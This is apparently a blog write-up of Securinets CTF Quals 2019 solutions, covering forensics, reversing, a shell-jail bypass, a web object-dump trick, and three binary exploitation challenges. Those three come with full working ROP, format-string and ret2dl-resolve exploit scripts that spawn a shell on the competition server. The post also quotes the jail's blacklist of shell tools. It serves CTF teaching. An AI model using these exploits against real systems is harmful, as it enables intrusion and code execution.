CTFするぞ

CTF以外のことも書くよ

Securinets CTF Quals 2019 Writeup

Securinets CTF Quals 2019 took place from 24th March, 02:00 JST for 24 hours. Our new team zer0pts got 23393pts and stood 2nd place. I solved 9 challenges and got 7570pts.

f:id:ptr-yudai:20190325135149p:plain

Thank you Securinets CTF for the great challs!

The challs and solvers can be found here.

I use my own library to solve pwn challs. It's quite similar to pwntools but it's for python 3.

[Foren 200pts] Easy Trade

Description: We just intercepted some newbies trying to trade flags.
File: foren_trade.pcap

A zip file and its password are transferred over the network. I extracted the zip by wireshark and unzipped it with the password. The flag was in the zip file.

[Reversing 980pts] Warmup: Welcome to securinets CTF!

Description: Welcome Reversers! Let's start with this. Can u break the algorithm and give me the flag ?
File: warmup

It's a 64-bit binary which checks the flag. I tried to find the correct input by using angr, which resulted in failure. So, I disassembled the binary with IDA and found many function calls. The next thing I tried to do was analyse the binary with gdb but gdb couldn't execute the binary somehow.

Now, let's analyse the binary statically.

After we input the pass code, it stores our input to an array byte by byte and calls malloc. Then, a function sub_8EC is called. As we can understand from the output of ltrace, sub_8EC is a base64 encoder.

$ ltrace -s 1000 ./warmup
puts("Welcome to securinets quals CTF :)"Welcome to securinets quals CTF :)
)                                   = 35
printf("PASSCODE:")                                                          = 9
fgets(PASSCODE:ABC123
"ABC123\n", 100, 0x7f5d869f0640)                                       = 0x5590e3bc20e0
strlen("ABC123\n")                                                           = 7
...
strlen("ABC123\n")                                                           = 7
malloc(137)                                                                  = 0x5590e58b2010
strlen("QUJDMTIzCv4AAAQAAADY/rD+AAAQ/mhd4F3PXQAAEP4AAAAAAADgXQAAAAAAAAAAAABoXSD+EP4mACddRQAYXXD+IF0AAHYAcP7CAND+4P4JAG1ddgAAAAAA/wABAM2Q0P4AAA==") = 136

After the base64-encoded string is generated, it cuts out the string until the character 'C' comes. We can see dozens of calls after that, which checks the substring. I analysed these functions and finally found the next constrains on the substring.

alphanumeric = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
assert alphanumeric.index(flag[0]) == 0x1c
assert alphanumeric.index(flag[0]) + alphanumeric.index(flag[1]) == alphanumeric.index(flag[2])
assert alphanumeric.index(flag[0]) + alphanumeric.index(flag[1]) >> 2 == alphanumeric.index(flag[10])
assert flag[10] == flag[2]
assert alphanumeric.index(flag[1]) == 0x36
assert flag[3] == 0x6a
assert flag[0] + 1 == flag[4]
arr = [0, 0x0c, 0x16, 0x18]
for i in range(4):
    assert flag[arr[i]] == flag[4] - 1
assert flag[11] + 9 == flag[1 + 0x22]
assert flag[3] - 0x20 == flag[6]
assert flag[11] == 1 + 0x2f
assert flag[0x17] == 1 + 0x2f
assert flag[0] - 1 == flag[8]
assert flag[4] + 2 == flag[0x1b]
assert flag[4] + 2 == flag[0x1f]
assert flag[0x1b] + 7 == flag[9]
assert flag[0x1b] + 7 == flag[0x19]
arr = [0xd, 0x11, 0x15]
for i in range(3):
    assert flag[arr[i]] == flag[1] + 1
assert flag[7] == 0x70
assert flag[0xf] == flag[7] + 3
assert flag[0xf] + 1 == flag[0xe]
assert flag[0x13] == 0x7a
assert flag[0] - 0x21 == flag[0x22]
arr = [5, 0x14, 0x1d, 0xc4]
x = 0x58
for i in range(4):
    x ^= flag[arr[i]]
assert x == 0x58
assert flag[0x1a] == 1 + 0x30
assert flag[9] - 0x20 == flag[0x10]
assert flag[0x10] == flag[0x1c]
assert flag[1] == 0x32
assert flag[7] - 0x1e == flag[0x12]
assert flag[0x12] == flag[0x1e]
assert flag[4] == flag[0x20]

I wrote the following script to recover the substring.

table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
flag = [ord("X") for i in range(0x64)]

flag[0] = ord(table[0x1c])
flag[1] = ord(table[0x36])
flag[2] = ord(table[(0x1c + 0x36) >> 2])
flag[10] = flag[2]
flag[3] = 0x6a
flag[4] = flag[0] + 1
for p in [0xc, 0x16, 0x18]:
    flag[p] = flag[4] - 1
flag[6] = flag[3] - 0x20
flag[11] = 0x2f + 1
flag[1 + 0x22] = flag[11] + 9
flag[0x17] = 1 + 0x2f
flag[8] = flag[0] - 1
flag[0x1b] = flag[4] + 2
flag[0x1f] = flag[4] + 2
flag[9] = flag[0x1b] + 7
flag[0x19] = flag[0x1b] + 7
for p in [0xd, 0x11, 0x15]:
    flag[p] = flag[1] + 1
flag[7] = 0x70
flag[0xf] = flag[7] + 3
flag[0xe] = flag[0xf] + 1
flag[0x13] = 0x7a
flag[0x22] = flag[0] - 0x21
flag[0x1a] = 1 + 0x30
flag[0x10] = flag[9] - 0x20
flag[0x1c] = flag[0x10]

flag[0x12] = flag[7] - 0x1e
flag[0x1e] = flag[0x12]

flag[0x20] = flag[4]

#for p in [5, 0x14, 0x1d, 0xc4]:
#    print(flag[p])
print(''.join(list(map(chr, flag))))

I decoded the base64 string (the last character must be 'C') and found the flag.

$ echo c2UjdXJpbmU0c3tsM3RzX3c0cm1fMXRfdXB9C | base64 -d
se#urine4s{l3ts_w4rm_1t_up}

The correct flag is securinets{l3ts_w4rm_1t_up}.

[Pwn 436pts] Welcome

Description: Unlike other CTFs we build a custom welcome for u \o/
Your goal is to execute welcome binary ssh welcome@51.254.114.246
password : bc09c4a0a957b3c6d8adbb47ab0419f7

It's a jail challenge. The following terms are prohibited.

char * blacklist[]={"cat","head","less","more","cp","man","scp","xxd","dd","od","python","perl","ruby","tac","rev","xz","tar","zip","gzip","mv","flag","txt","python","perl","vi","vim","nano","pico","awk","grep","egrep","echo","find","exec","eval","regexp","tail","head","less","cut","tr","pg","du","`","$","(",")","#","bzip2","cmp","split","paste","diff","fgrep","gawk","iconv","ln","most","open","print","read","{","}","sort","uniq","tee","wget","nc","hexdump","HOSTTYPE","$","arch","env","tmp","dev","shm","lock","run","var","snap","nano","read","readlink","zcat","tailf","zcmp","zdiff","zegrep","zdiff"};

I used sed to see the contents of flag.txt.

$ ./wrapper
Welcome to Securinets Quals CTF o/ 
Enter string:
sed -u '' *.t*
securinets{who_needs_exec_flag_when_you_have_linker_reloaded_last_time!!!?}

[Pwn 975pts] Baby one

Description: Can you prove you are not a baby anymore ?
service is running at : nc 51.254.114.246 1111

We have a 64-bit binary.

$ checksec baby1
[*] 'baby1'
    Arch:       64 bits (little endian)
    NX:         NX enabled
    SSP:        SSP disabled (No canary found)
    RELRO:      Partial RELRO
    PIE:        PIE disabled

It has a function main in which we can find a stack overflow.

push    rbp
mov     rbp, rsp
sub     rsp, 30h
mov     rax, cs:__bss_start
mov     ecx, 0          ; n
mov     edx, 2          ; modes
mov     esi, 0          ; buf
mov     rdi, rax        ; stream
call    _setvbuf
mov     edx, 1Dh        ; n
mov     esi, offset aWelcomeToSecur ; "Welcome to securinets Quals!\n"
mov     edi, 1          ; fd
mov     eax, 0
call    _write
lea     rax, [rbp+buf]
mov     edx, 12Ch       ; nbytes
mov     rsi, rax        ; buf
mov     edi, 0          ; fd
mov     eax, 0
call    _read
xor     rdx, rdx
nop
leave
retn

I thought it was a simple stack overflow challenge. We can just write the contents of the GOT to leak libc? No, there is xor rdx, rdx; right before leave; ret;. This means the argument nbytes for both read and write becomes zero. So, we can't read or write anything. There is no ROP gadget like pop rdx.

As I analysed the binary, I found a useful gadget(?) in __libc_csu_init.

f:id:ptr-yudai:20190325135233p:plain

In 0x4006BA (right after add rsp, 8) we can set arbitrary values to rbx, rbp, r12, r13, r14, r15. In 0x4006A0 we can call [r12+rbx*8] after setting rdx, rsi, edi to r13, r14, r15d respectively. This means we may call an arbitrary function with maximum 3 arguments, if the function address is written in the memory (whose address is known). And yes, we have those addresses in GOT!

After the function call ends, it increments rbx and compares rbx with rbp. I set rbx to 0 to simplify the call, so I have to set rbp to 1 to get out of the loop. After that, add rsp, 8 will be done and we'll reach to 0x4006BA again. This means we can call arbitrary functions again and again.

I wrote the following script to leak the address of write and setvbuf.

from ptrlib import *

elf = ELF("./baby1")
sock = Socket("51.254.114.246", 1111)
#sock = Socket("127.0.0.1", 4001)
#_ = input()

plt_write = 0x004004b0
plt_read = 0x004004c0
plt_setvbuf = 0x004004e0
plt_resolve = 0x004004a0
rop_pop_rdi = 0x004006c3
rop_pop_rsi_pop_r15 = 0x004006c1
rop_libc_csu_init = 0x004006ba
call_libc_csu_init = 0x004006a0

payload = b'A' * 0x38

payload += p64(rop_libc_csu_init)
payload += p64(0)                # rbx
payload += p64(1)                # rbp --> loop max
payload += p64(elf.got("write")) # r12 --> call [r12]
payload += p64(8)                # r13 --> rdx
payload += p64(elf.got("write")) # r14 --> rsi
payload += p64(1)                # r15 --> rdi

payload += p64(call_libc_csu_init)
payload += b'A' * 8 # add rsp, 8
payload += p64(0)                # rbx
payload += p64(1)                # rbp --> loop max
payload += p64(elf.got("write")) # r12 --> call [r12]
payload += p64(8)                # r13 --> rdx
payload += p64(elf.got("setvbuf"))  # r14 --> rsi
payload += p64(1)                # r15 --> rdi

payload += p64(call_libc_csu_init)

sock.recvline()
sock.send(payload)
addr1 = u64(sock.recv(8))
addr2 = u64(sock.recv(8))
dump("addr1 = " + hex(addr1))
dump("addr2 = " + hex(addr2))

sock.interactive()

And found the libc version from libc database.

$ python leak.py 
[+] Socket: Successfully connected to 51.254.114.246:1111
[ptrlib] addr1 = 0x7f98f19512b0
[ptrlib] addr2 = 0x7f98f18c9e70
[ptrlib]$

The libc for the server is libc6_2.23-0ubuntu11_amd64.so. Now we can just call system("/bin/sh") after leaking the libc base.

from ptrlib import *

elf = ELF("./baby1")
libc = ELF("./libc6_2.23-0ubuntu11_amd64.so")
sock = Socket("51.254.114.246", 1111)
#libc = ELF("/lib64/libc.so.6")
#sock = Socket("127.0.0.1", 4001)
#_ = input()

plt_write = 0x004004b0
plt_read = 0x004004c0
plt_setvbuf = 0x004004e0
plt_resolve = 0x004004a0
rop_pop_rdi = 0x004006c3
rop_pop_rsi_pop_r15 = 0x004006c1
rop_libc_csu_init = 0x004006ba
call_libc_csu_init = 0x004006a0

""" Stage 1 """
payload = b'A' * 0x38

payload += p64(rop_libc_csu_init)
payload += p64(0)                # rbx
payload += p64(1)                # rbp --> loop max
payload += p64(elf.got("write")) # r12 --> call [r12]
payload += p64(8)                # r13 --> rdx
payload += p64(elf.got("write")) # r14 --> rsi
payload += p64(1)                # r15 --> rdi

payload += p64(call_libc_csu_init)
payload += b'A' * 8 # add rsp, 8
payload += p64(0)                # rbx
payload += p64(0)                # rbp --> loop max
payload += p64(0x400018)         # r12 --> call [r12]
payload += p64(0)                # r13 --> rdx
payload += p64(0)                # r14 --> rsi
payload += p64(0)                # r15 --> rdi

payload += p64(call_libc_csu_init)

sock.recvline()
sock.send(payload)
addr = u64(sock.recv(8))
libc_base = addr - libc.symbol("write")
addr_system = libc_base + libc.symbol("system")
addr_binsh = libc_base + next(libc.find("/bin/sh"))
dump("libc base = " + hex(libc_base))

""" Stage 2 """
sock.recvline()

addr_store = elf.symbol("__bss_start") + 8

payload = b'A' * 0x38

payload += p64(rop_libc_csu_init)
payload += p64(0)                # rbx
payload += p64(1)                # rbp --> loop max
payload += p64(elf.got("read"))  # r12 --> call [r12]
payload += p64(8)                # r13 --> rdx
payload += p64(addr_store)       # r14 --> rsi
payload += p64(0)                # r15 --> rdi

payload += p64(call_libc_csu_init)
payload += b'A' * 8 # add rsp, 8
payload += p64(0)                # rbx
payload += p64(0)                # rbp --> loop max
payload += p64(0x400018)         # r12 --> call [r12]
payload += p64(0)                # r13 --> rdx
payload += p64(0)                # r14 --> rsi
payload += p64(0)                # r15 --> rdi

payload += p64(call_libc_csu_init)

payload = payload + b'X' * (0x12c - len(payload))

sock.send(payload)
sock.send(p64(addr_system))

dump("wrote <system> to " + hex(addr_store))

""" Stage 3 """
sock.recvline()

call_libc_csu_init_direct = 0x004006a9

payload = b'A' * 0x38

payload += p64(rop_libc_csu_init)
payload += p64(0)                # rbx
payload += p64(1)                # rbp --> loop max
payload += p64(addr_store)       # r12 --> call [r12]
payload += p64(0)                # r13 --> rdx
payload += p64(0)                # r14 --> rsi
payload += p64(0)                # r15 --> rdi

payload += p64(rop_pop_rdi)
payload += p64(addr_binsh)

payload += p64(call_libc_csu_init_direct)

sock.send(payload)

sock.interactive()

Perfect!

$ python solve.py 
[+] Socket: Successfully connected to 51.254.114.246:1111
[ptrlib] libc base = 0x7fba4dce4000
[ptrlib] wrote <system> to 0x601050
[ptrlib]$ ls      
[ptrlib]$ baby1
flag.txt
main.c

[ptrlib]$ cat flag.txt
[ptrlib]$ securinets{controlling_rdx_for_the_win}

[Pwn 998pts] Simple

Description: I build a simple alternative to "cat" command, am i doing something wrong ?
Service is running at : nc 51.254.114.246 4444

It's a 64-bit binary with SSP enabled.

$ checksec simple
[*] 'simple'
    Arch:       64 bits (little endian)
    NX:         NX enabled
    SSP:        SSP enabled (Canary found)
    RELRO:      Partial RELRO
    PIE:        PIE disabled

We can send a text (in 0x3f bytes) and the server replies the text. Obviously it's a format string bug. The program calls perror after the printf, so we can overwrite the GOT of perror to get RIP. There are 3 stages:

  1. Leak the libc address and set the GOT address of perror to the address of _start
  2. Set the GOT address of printf to the address of system
  3. Send /bin/sh\x00 and system("/bin/sh") will be called

Just make sure to put the address at the last in FSB because printf only reads the buffer before a NULL byte.

I used the same libc as that of Baby one.

from ptrlib import *

elf = ELF("./simple")
libc = ELF("./libc6_2.23-0ubuntu11_amd64.so")
diff = 0xf0
sock = Socket("51.254.114.246", 4444)
#libc = ELF("/lib64/libc.so.6")
#diff = 0xf5
#sock = Socket("127.0.0.1", 4000)
_ = input()

addr_main = elf.symbol("main")
got_perror = elf.got("perror")
got_printf = elf.got("printf")

""" Stage 1 """
writes = {}
for i in range(2):
    writes[got_perror + i] = (addr_main >> (8 * i)) & 0xFF
payload = '%17$p....'
offset = 6 + 32 // 8
n = 4 + 14
for (i, addr) in enumerate(writes):
    l = (writes[addr] - n - 1) % 256 + 1
    payload += '%{}c%{}$hhn'.format(l, offset + i)
    n += l
assert len(payload) == (offset - 6) * 8
payload = str2bytes(payload)
for addr in writes:
    payload += p64(addr)
assert len(payload) < 0x40
payload = payload + b'\x00' * (0x3f - len(payload))
sock.send(payload)
addr = int(sock.recvuntil(".").rstrip(b"."), 16)
libc_base = addr - libc.symbol("__libc_start_main") - diff
addr_system = libc_base + libc.symbol("system")
dump("libc base = " + hex(libc_base))

""" Stage 2 """
writes = {}
for i in range(3):
    writes[got_printf + i] = (addr_system >> (8 * i)) & 0xFF
payload = ''
offset = 6 + 40 // 8
n = 0
for (i, addr) in enumerate(writes):
    l = (writes[addr] - n - 1) % 256 + 1
    payload += '%{}c%{}$hhn'.format(l, offset + i)
    n += l
payload += 'A' * (40 - len(payload))
assert len(payload) == (offset - 6) * 8
payload = str2bytes(payload)
for addr in writes:
    payload += p64(addr)
assert len(payload) <= 0x40
payload = payload + b'\x00' * (0x3f - len(payload))
sock.send(payload)

""" Stage 3 """
sock.send("/bin/sh\x00")
sock.interactive()

FSB is fun!

$ python solve.py 
[+] Socket: Successfully connected to 51.254.114.246:4444

[ptrlib] libc base = 0x7fa6d5907000
[ptrlib]$ ls
...                                                                                                                                                   °                                                                                               ?@`                                                                                                                                               P                                                  ?                                                                                                                                                                                                                `AAAAA `[ptrlib]$ flag.txt
main.c
simple
cat flag.txt
[ptrlib]$ securinets{format_string_rule_the_world!}

[Web 989pts] Trading values

Description: N00B developers are an easy target. Try to exploit the application feature to get the hidden flag.
URL: https://web1.ctfsecurinets.com/

We can see a GET in the source code.

$.get( "/default", { "formula": formula, "values":{"v1": "STC","v2":"PLA","v3":"SDF","v4":"OCK"} }   )

I found a curious result by passing v1 as the formula.

import base64
import requests

payload = {
    "formula": base64.b64encode(b"v1"),
    "values[v1]": "STC",
    "values[v2]": "PLA",
    "values[v3]": "SDF",
    "values[v4]": "OCK",
}
r = requests.get("https://web1.ctfsecurinets.com/default", params=payload)
print(r.text)

It seems "STC" is a class name.

object(App\Entity\STC)#233 (4) {
  ["id":"App\Entity\STC":private]=>
  NULL
  ["avg"]=>
  int(429)
  ["mpk"]=>
  int(33)
  ["drf"]=>
  int(63)
}

I had been stuck here for a while, but the admin told me that STC becomes $STC. So, I tried several super global variables such as GLOBALS or _ENV. After several trials I found this becomes $this, which means we can see the instance itself. The flag was written in object(Symfony\Component\HttpFoundation\ServerBag).

object(App\Controller\DefaultController)#37 (1) {
  ["container":protected]=>
  object(Symfony\Component\DependencyInjection\Argument\ServiceLocator)#136 (6) {
...
                                        ["FLAG"]=>
                                        string(47) "Securinets{T00_Ea5y_T0_U5e_This_Local_variable}"
...

[Foren 994pts] Cat Hunting

Description: We got an anonymous note that a student is downloading illegal contents like 'cat pictures' ! We confiscated his PC and got a memory dump before returning it. Your job now is to follow his traces and find out how he gets them.
File: cat_hunting.zip

I did a search for the word cat as the description says and found two curious files.

$ vol.py -f cat_hunting --profile=Win7SP1x64 filescan | grep cat
...
0x000000001dec9430     16      0 -W-rw- \Device\HarddiskVolume2\Users\Noxious\Desktop\cat (8).jpgcat (8).jpg
0x000000001e10a340     16      0 R--r-- \Device\HarddiskVolume2\Users\Noxious\Desktop\cat (9).jpg
...

I dumped them and opened it with hexdump.

00000000  ff d8 ff e0 00 10 4a 46  49 46 00 01 01 01 00 60  |......JFIF.....`|
00000010  00 60 00 00 ff e1 0b 3e  68 74 74 70 3a 2f 2f 6e  |.`.....>http://n|
...
00000160  71 3e 0d 0a 09 09 09 09  09 3c 72 64 66 3a 6c 69  |q>.......<rdf:li|
00000170  3e 39 39 2e 38 30 2e 36  38 2e 31 34 31 3c 2f 72  |>99.80.68.141</r|
00000180  64 66 3a 6c 69 3e 0d 0a  09 09 09 09 3c 2f 72 64  |df:li>......</rd|
...

It's a normal JPEG image but it has an IP address 99.80.68.141. The IP address can be confirmed in the result of netscan too.

$ vol.py -f cat_hunting --profile=Win7SP1x64 netscan
Volatility Foundation Volatility Framework 2.6.1                                                                                                                                              
Offset(P)          Proto    Local Address                  Foreign Address      State            Pid      Owner          Created                                                              
0x1e1967f0         UDPv4    0.0.0.0:3702                   *:*                                   1312     svchost.exe    2019-03-20 14:14:55 UTC+0000                                         
0x1e1f09c0         UDPv4    0.0.0.0:3702                   *:*                                   1312     svchost.exe    2019-03-20 14:14:55 UTC+0000                                         
...
0x1e7140f0         TCPv6    :::445                         :::0                 LISTENING        4        System         
0x1e131cf0         TCPv4    -:49176                        99.80.68.141:80      CLOSED           1088     firefox.exe    
0x1e5ce450         TCPv6    -:0                            383b:1a02:80fa:ffff:984c:2202:80fa:ffff:0 CLOSED           1        pU????       
...

This IP address must be a part of the challenge. The page looks like this:

f:id:ptr-yudai:20190325143855p:plain

I couldn't find any account info from the memdump and had been stuck here for a while. I used dirsearch to gather information and found a directory /img.

$ ./dirsearch.py -u http://99.80.68.141/ -e ''
...
[14:37:38] 403 -  295B  - /.htusers
[14:38:43] 301 -  310B  - /img  ->  http://99.80.68.141/img/
[14:38:45] 200 -    2KB - /index.php
[14:38:45] 200 -    2KB - /index.php/login/
[14:39:16] 403 -  300B  - /server-status
...

The filename I dumped was cat (9).jpg so I accessed to http://99.80.68.141/img/cat (9).jpg and found the samge image. The result of iehistory says there were several images other than cat (9).jpg.

...
Process: 1896 explorer.exe
Cache type "URL " at 0x2705500
Record length: 0x100
Location: :2019032020190321: Noxious@file:///C:/Users/Noxious/Desktop/cat%20(11).jpg
Last modified: 2019-03-20 15:17:16 UTC+0000
Last accessed: 2019-03-20 14:17:16 UTC+0000
File Offset: 0x100, Data Offset: 0x0, Data Length: 0x0
...

I accessed to those cat images and found cat (11).jpg was broken. The contents of the file is actually the base64-encoded flag.

$ cat "cat (11).jpg" 
c2VjdXJpbmV0c3tkMjU3MzZmZWJmZDgwOWVjNGViYTc2YjBhYWU5ZWFiMH0K
$ cat "cat (11).jpg" | base64 -d
securinets{d25736febfd809ec4eba76b0aae9eab0}

[Pwn 1000pts] Baby two

This is the best challenge for me in this CTF. Actually I was really confused when the admin changed the binary from 64-bit to 32-bit, as my exploit for 64-bit binary went for nothing. I've never seen a situation like this, the architecture changes during the competition, haha. They announced it would make the challenge easier, but the truth was the opposite. Anyway let's see the challenge.

Description:What about no greeting for u ?
service is running at : nc 51.254.114.246 2222
File: baby2

It's a 32-bit binary after the update.

$ checksec baby2
[*] 'baby2'
    Arch:       32 bits (little endian)
    NX:         NX enabled
    SSP:        SSP disabled (No canary found)
    RELRO:      Partial RELRO
    PIE:        PIE disabled

It seems similar to baby1 but there are some differences.

lea     ecx, [esp+4]
and     esp, 0FFFFFFF0h
push    dword ptr [ecx-4]
push    ebp
mov     ebp, esp
push    ecx
sub     esp, 34h
mov     eax, ds:__bss_start
push    0
push    2
push    0
push    eax
call    _setvbuf
add     esp, 10h
sub     esp, 4
push    12Ch
lea     eax, [ebp+buffer]
push    eax
push    0
call    _read
add     esp, 10h
nop
mov     ecx, [ebp+var_4]
leave
lea     esp, [ecx-4]
retn

The major change is it has no write function, which means we can't leak the address of libc. This problem can be solved by using ret2dl-resolve attack.

And the minor change, the evil part, is the stack layout. As you can understand from the assembly above, there is lea esp, [ecx-4]; right after leave! This means the stack pointer changes before our ROP chain works.

Let's see the stack before leave.

gdb-peda$ x/32wx $esp
0xffffccf0:     0xffffffff      0xffffcd18      0x41414141      0x42424242
0xffffcd00:     0x43434343      0x00c1000a      0x00000001      0x080484fb
0xffffcd10:     0x00000001      0xffffcdd4      0xffffcddc      0x080484d1
0xffffcd20:     0xf7fb33c4      0xffffcd40      0x00000000      0xf7e061c3
0xffffcd30:     0x080484b0      0x00000000      0x00000000      0xf7e061c3
0xffffcd40:     0x00000001      0xffffcdd4      0xffffcddc      0xf7fd86c0
0xffffcd50:     0x00000001      0x00000001      0x00000000      0x0804a010
0xffffcd60:     0x08048240      0xf7fb3000      0x00000000      0x00000000

var_4 is 0xffffcd40 now. And esp will be 0xffffcd40-4=0xffffcd3c if there are no overflow. Our input is at 0xffffccf8, which is close to 0xffffcd3c. So, I realized I could overwrite the first byte of var_4 and make esp become our buffer address. Thus, we may run our small ROP chain crafted in our buffer with one-by-off. However, it's probabilistic so I set a "ret sled" in the buffer, which is just a chain of ret gadget. This way, we can increase the possibility that our ROP chain works. (Same principle as nop sled for shellcode.)

I divided my exploit into 3 stages.

  1. Read and store the 3rd stage payload into .bss + 0x800 and jump to _start
  2. Stack pivot to make esp be .bss + 0x800 by lea esp, [ecx-0x4]
  3. Craft reloc, sym, system address, /bin/sh\x00 on the .bss section and call .plt
from ptrlib import *
import time

elf = ELF("./baby2")

addr_plt = 0x08048320
addr_start = elf.symbol("_start")

addr_relplt = elf.section(".rel.plt")
addr_dynsym = elf.section(".dynsym")
addr_dynstr = elf.section(".dynstr")
addr_bss    = elf.section(".bss")

rop_pop3 = 0x08048509
rop_ret = 0x080482fa

fname = "system\x00"
farg  = "/bin/sh\x00"

plt_read = 0x08048330
base_stage = addr_bss + 0x800
addr_reloc = addr_bss + 0xa00
addr_sym   = addr_bss + 0xa80 | (addr_dynsym & 0xF)
addr_str   = addr_bss + 8
addr_arg   = addr_str + len(fname)

# Elf32_Rel
reloc = p32(elf.got('setvbuf'))
reloc += p32((((addr_sym - addr_dynsym) // 0x10) << 8) | 7)
# Elf32_Sym
sym = p32(addr_str - addr_dynstr)
sym += p32(0)
sym += p32(0)
sym += p32(0x12)

def craft_read(addr, size):
    payload = p32(plt_read)
    payload += p32(rop_pop3)
    payload += p32(0)    # fd
    payload += p32(addr) # buf
    payload += p32(size) # size
    return payload

#sock = Socket("127.0.0.1", 4001)
sock = Socket("51.254.114.246", 2222)

""" Stage 1 (probabilistic write) """
payload1 = b''
payload1 += p32(rop_ret) * ((0x2c - 6 * 4) // 4)
payload1 += craft_read(base_stage, 0x100) # 5 * 4
payload1 += p32(addr_start)               # 4
payload1 += bytes([0x20])

""" Stage 2 (stack pivot) """
payload2 = b'A' * 0x2c
payload2 += p32(base_stage + 4)
payload2 += b'\x00' * (0x12c - len(payload2))

""" Stage 3 (craft) """
reloc_offset = addr_reloc - addr_relplt

payload3 = b''
payload3 += craft_read(addr_reloc, 0x8)
payload3 += craft_read(addr_sym, 0x10)
payload3 += craft_read(addr_str, len(fname))
payload3 += craft_read(addr_arg, len(farg))
payload3 += p32(addr_plt)
payload3 += p32(reloc_offset)
payload3 += b"XXXX"
payload3 += p32(addr_arg)
payload3 += b"\x00" * (0x100 - len(payload3))

# Stage 1
sock.send(payload1)
time.sleep(0.5)
sock.send(payload3)

# Stage 2
sock.send(payload2)

# Stage 3
sock.send(reloc)
sock.send(sym)
sock.send(fname)
sock.send(farg)

sock.interactive()

Thanks to the "ret sled," my exploit worked in only 3 trials :)

$ python exploit.py 
[+] Socket: Successfully connected to 51.254.114.246:2222
[ptrlib]$ ls
[WARN] send: Broken pipe
[ptrlib]$ ^C[+] close: Connection to 51.254.114.246:2222 closed
$ python exploit.py 
[+] Socket: Successfully connected to 51.254.114.246:2222
[ptrlib]$ ls
[ptrlib]$ ls
[ptrlib]$ ls lha
[ptrlib]$ ls -lha
[WARN] send: Broken pipe
[ptrlib]$ ^C[+] close: Connection to 51.254.114.246:2222 closed
$ python exploit.py 
[+] Socket: Successfully connected to 51.254.114.246:2222
[ptrlib]$ ls
[ptrlib]$ baby2
flag.txt
main.c
cat flag.txt
[ptrlib]$ securinets{what_about_ret_to_dl_resolve_hein}

[Foren 998pts] LOST FLAG

Description: Help me get back my flag !
URL: https://web8.ctfsecurinets.com/

We can login as admin/admin but the flag is deleted. I used dirsearch and found /.bzr/README.

$ ./dirsearch.py -u https://web8.ctfsecurinets.com/ -e ""
...
[15:13:56] 200 -    5KB - /
[15:13:56] 400 -  182B  - /%2e%2e/google.com
[15:13:57] 200 -  147B  - /.bzr/README
[15:14:15] 301 -  185B  - /__MACOSX  ->  http://web8.ctfsecurinets.com/__MACOSX/
[15:14:25] 200 -   39B  - /admin.php
...

I cloned it by bzr clone https://web8.ctfsecurinets.com/ and reverted the commit, restored the flag.